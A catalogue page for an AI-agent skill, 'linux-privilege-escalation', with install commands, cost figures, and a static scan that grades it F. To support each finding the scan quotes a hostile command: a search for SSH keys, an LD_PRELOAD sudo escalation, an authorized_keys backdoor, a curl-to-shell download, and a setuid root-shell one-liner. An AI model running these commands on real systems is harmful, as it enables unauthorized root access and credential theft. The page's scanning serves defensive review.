HackSkills is an organized knowledge base of installable skills that gives AI agents practical security knowledge across areas such as web security, privilege escalation, reverse engineering, and digital forensics. It is intended for bug bounty work, penetration testing, CTF competitions, and authorized security research. The catalogue entries are the project's own master, category, and topic skills.
Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx agentmods add skills/yaklang/hack-skills/linux-privilege-escalationnpx skills add yaklang/hack-skills --skill linux-privilege-escalationgit clone --depth 1 https://github.com/yaklang/hack-skillsWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/yaklang/hack-skills/linux-privilege-escalation)<a href="https://agentmods.dev/skills/yaklang/hack-skills/linux-privilege-escalation"><img src="https://agentmods.dev/badge/skills/yaklang/hack-skills/linux-privilege-escalation.svg" alt="Measured on agentmods" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5 | $0.00057 | $0.03045 |
| Opus 5 | $0.00028 | $0.01522 |
| Sonnet 5 | $0.00011 | $0.00609 |
| Haiku 4.5 | $0.00006 | $0.00304 |
Grade F, and why
linux-privilege-escalation scanned grade F with 6 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 5d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Enumerates the file system for secretshighData exfiltration
Searching home directories for .env, .ssh, .aws or credential files is reconnaissance for credential theft.
find / -name "id_rsa" -o -name "*.pem" -o -name "*.key" 2>/dev/null Asks for rootmediumPrivilege escalation
A mod that escalates privileges can change anything on the machine, not only the project.
sudo LD_PRELOAD=/tmp/pe.so /usr/bin/some_allowed_binary Reaches for credential fileshighPrivilege escalation
SSH keys, cloud credentials, git-credentials, .npmrc, /etc/shadow: reading these is how a config file becomes a credential leak.
'echo "ssh-rsa AAAA..." >> /mnt/.ssh/authorized_keys' Downloads and executes remote codehighSupply chain
curl | sh runs whatever the server returns today, which is not necessarily what it returned when this was reviewed.
| **LinPEAS** | Comprehensive enumeration | `curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh \| sh` | Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
| **LinPEAS** | Comprehensive enumeration | `curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh \| sh` | Runs shell commandslowCapability
Expected in a hook, worth knowing in a rule or an instructions file.
| `cap_setuid` | **Critical** | `python3 -c 'import os;os.setuid(0);os.system("/bin/bash")'` | Copies of this mod
4 near-identical copies found in the catalogue:
- linux-privilege-escalation — 100% identical, 0 lines differ
- linux-privilege-escalation — 100% identical, 0 lines differ
- linux-privilege-escalation — 100% identical, 0 lines differ
- linux-privilege-escalation — 92% identical, 4 lines differ
How it starts
The opening of the file, as written. The whole thing — 347 lines — stays where its author put it; the contents beside it link to each section on GitHub.
SKILL: Linux Privilege Escalation — Expert Attack Playbook
AI LOAD INSTRUCTION: Expert Linux privesc techniques. Covers enumeration, SUID/SGID, capabilities, cron abuse, kernel exploits, NFS, writable passwd/shadow, LD_PRELOAD, Docker group, and library hijacking. Base models miss subtle escalation paths via capabilities and combined misconfigurations.
0. RELATED ROUTING
Before going deep, consider loading:
- container-escape-techniques when the target is a container and you need to escape to host
- linux-security-bypass when facing restricted shells, AppArmor, SELinux, or seccomp
- linux-lateral-movement after obtaining root for pivoting to adjacent hosts
- kubernetes-pentesting when the host is a Kubernetes node
Advanced Reference
Also load SUID_CAPABILITIES_TRICKS.md when you need:
- Top 30 SUID binaries with exact exploitation commands (GTFOBins)
- Capability-specific exploitation for each dangerous cap
- Custom SUID binary exploitation methodology
Also load KERNEL_EXPLOITS_CHECKLIST.md when you need:
- Kernel version → exploit mapping table (DirtyPipe, DirtyCow, OverlayFS, etc.)
- Exploit compilation tips and cross-compilation notes
- Kernel exploit stability assessment
1. ENUMERATION CHECKLIST
Run these immediately after landing a shell:
System Info
uname -a # Kernel version
cat /etc/os-release # Distro and version
cat /proc/version # Kernel compile info
hostname && id && whoami # Current context
Sudo & SUID/SGID
sudo -l # What can we run as root?
find / -perm -4000 -type f 2>/dev/null # SUID binaries
find / -perm -2000 -type f 2>/dev/null # SGID binaries
getcap -r / 2>/dev/null # Files with capabilities
What ships with it
2 files beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 5d ago First seen · 347 lines · 57 tokens per session scan F dd8a2d397b5d
linux-privilege-escalation is a skill published in the GitHub repository yaklang/hack-skills (2,064 stars, last pushed 2mo ago), licensed MIT. It adds 57 tokens to every session and 3,045 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it F with 6 findings (enumerates the file system for secrets, asks for root, reaches for credential files). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.
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